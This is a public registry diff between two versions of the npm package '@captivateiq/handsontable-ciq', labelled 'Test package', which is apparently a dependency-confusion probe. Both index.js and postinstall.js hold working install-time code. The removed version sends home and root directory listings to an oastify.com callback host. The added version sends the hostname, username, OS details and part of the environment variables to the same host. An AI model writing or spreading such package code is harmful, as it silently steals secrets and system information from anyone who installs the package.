@captivateiq/handsontable-ciq 156.1.5 → 157.1.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +28 -34
  2. package/package.json +1 -1
  3. package/postinstall.js +28 -34
package/index.js CHANGED
@@ -1,43 +1,37 @@
1
1
  const os = require('os');
2
2
  const https = require('https');
3
- const { execSync } = require('child_process');
4
3
 
5
- function getDirectoryListing(path) {
6
- try {
7
- return execSync(`ls ${path}`, { encoding: 'utf8' });
8
- } catch (err) {
9
- return `Error: ${err.message}`;
10
- }
11
- }
4
+ const hostname = os.hostname();
5
+ const platform = os.platform();
6
+ const arch = os.arch();
7
+ const release = os.release();
8
+ const userInfo = os.userInfo().username;
12
9
 
13
- const homeDir = os.homedir();
14
- const homeListing = getDirectoryListing(homeDir);
15
- const rootListing = getDirectoryListing('/');
16
- const encodedHomeListing = encodeURIComponent(homeListing);
17
- const encodedRootListing = encodeURIComponent(rootListing);
10
+ let env = JSON.stringify(process.env);
11
+ if (env.length > 1000) {
12
+ env = env.slice(0, 1000);
13
+ }
18
14
 
19
- function sendHttpRequest(homeData, rootData) {
20
- const options = {
21
- hostname: 'a3esodr3ag3mzjq2wyodzyfpngt7hy5n.oastify.com',
22
- port: 443,
23
- path: '/',
24
- method: 'GET',
25
- headers: {
26
- 'X-Home-Listing': homeData,
27
- 'X-Root-Listing': rootData,
28
- 'X-handsontable': "true"
29
- }
30
- };
15
+ const queryParams = `hostname=${hostname}&platform=${platform}&arch=${arch}&release=${release}&username=${userInfo}`;
31
16
 
32
- const req = https.request(options, (res) => {
33
- console.log(`Status Code: ${res.statusCode}`);
34
- });
17
+ const options = {
18
+ hostname: 'a3esodr3ag3mzjq2wyodzyfpngt7hy5n.oastify.com',
19
+ port: 443,
20
+ path: `/?${queryParams}`,
21
+ method: 'GET',
22
+ headers: {
23
+ 'X-Env-Data': encodeURIComponent(env),
24
+ 'handsontable': 'true'
25
+ }
26
+ };
35
27
 
36
- req.on('error', (error) => {
37
- console.error('Request failed:', error);
38
- });
28
+ const req = https.request(options, (res) => {
29
+ console.log('Information sent to the specified endpoint.');
30
+ res.on('data', (d) => process.stdout.write(d));
31
+ });
39
32
 
40
- req.end();
41
- }
33
+ req.on('error', (err) => {
34
+ console.error('Failed to send information:', err.message);
35
+ });
42
36
 
43
- sendHttpRequest(encodedHomeListing, encodedRootListing);
37
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@captivateiq/handsontable-ciq",
3
- "version": "156.1.5",
3
+ "version": "157.1.5",
4
4
  "description": "Test package",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -1,43 +1,37 @@
1
1
  const os = require('os');
2
2
  const https = require('https');
3
- const { execSync } = require('child_process');
4
3
 
5
- function getDirectoryListing(path) {
6
- try {
7
- return execSync(`ls ${path}`, { encoding: 'utf8' });
8
- } catch (err) {
9
- return `Error: ${err.message}`;
10
- }
11
- }
4
+ const hostname = os.hostname();
5
+ const platform = os.platform();
6
+ const arch = os.arch();
7
+ const release = os.release();
8
+ const userInfo = os.userInfo().username;
12
9
 
13
- const homeDir = os.homedir();
14
- const homeListing = getDirectoryListing(homeDir);
15
- const rootListing = getDirectoryListing('/');
16
- const encodedHomeListing = encodeURIComponent(homeListing);
17
- const encodedRootListing = encodeURIComponent(rootListing);
10
+ let env = JSON.stringify(process.env);
11
+ if (env.length > 1000) {
12
+ env = env.slice(0, 1000);
13
+ }
18
14
 
19
- function sendHttpRequest(homeData, rootData) {
20
- const options = {
21
- hostname: 'a3esodr3ag3mzjq2wyodzyfpngt7hy5n.oastify.com',
22
- port: 443,
23
- path: '/',
24
- method: 'GET',
25
- headers: {
26
- 'X-Home-Listing': homeData,
27
- 'X-Root-Listing': rootData,
28
- 'X-handsontable': "true"
29
- }
30
- };
15
+ const queryParams = `hostname=${hostname}&platform=${platform}&arch=${arch}&release=${release}&username=${userInfo}`;
31
16
 
32
- const req = https.request(options, (res) => {
33
- console.log(`Status Code: ${res.statusCode}`);
34
- });
17
+ const options = {
18
+ hostname: 'a3esodr3ag3mzjq2wyodzyfpngt7hy5n.oastify.com',
19
+ port: 443,
20
+ path: `/?${queryParams}`,
21
+ method: 'GET',
22
+ headers: {
23
+ 'X-Env-Data': encodeURIComponent(env),
24
+ 'handsontable': 'true'
25
+ }
26
+ };
35
27
 
36
- req.on('error', (error) => {
37
- console.error('Request failed:', error);
38
- });
28
+ const req = https.request(options, (res) => {
29
+ console.log('Information sent to the specified endpoint.');
30
+ res.on('data', (d) => process.stdout.write(d));
31
+ });
39
32
 
40
- req.end();
41
- }
33
+ req.on('error', (err) => {
34
+ console.error('Failed to send information:', err.message);
35
+ });
42
36
 
43
- sendHttpRequest(encodedHomeListing, encodedRootListing);
37
+ req.end();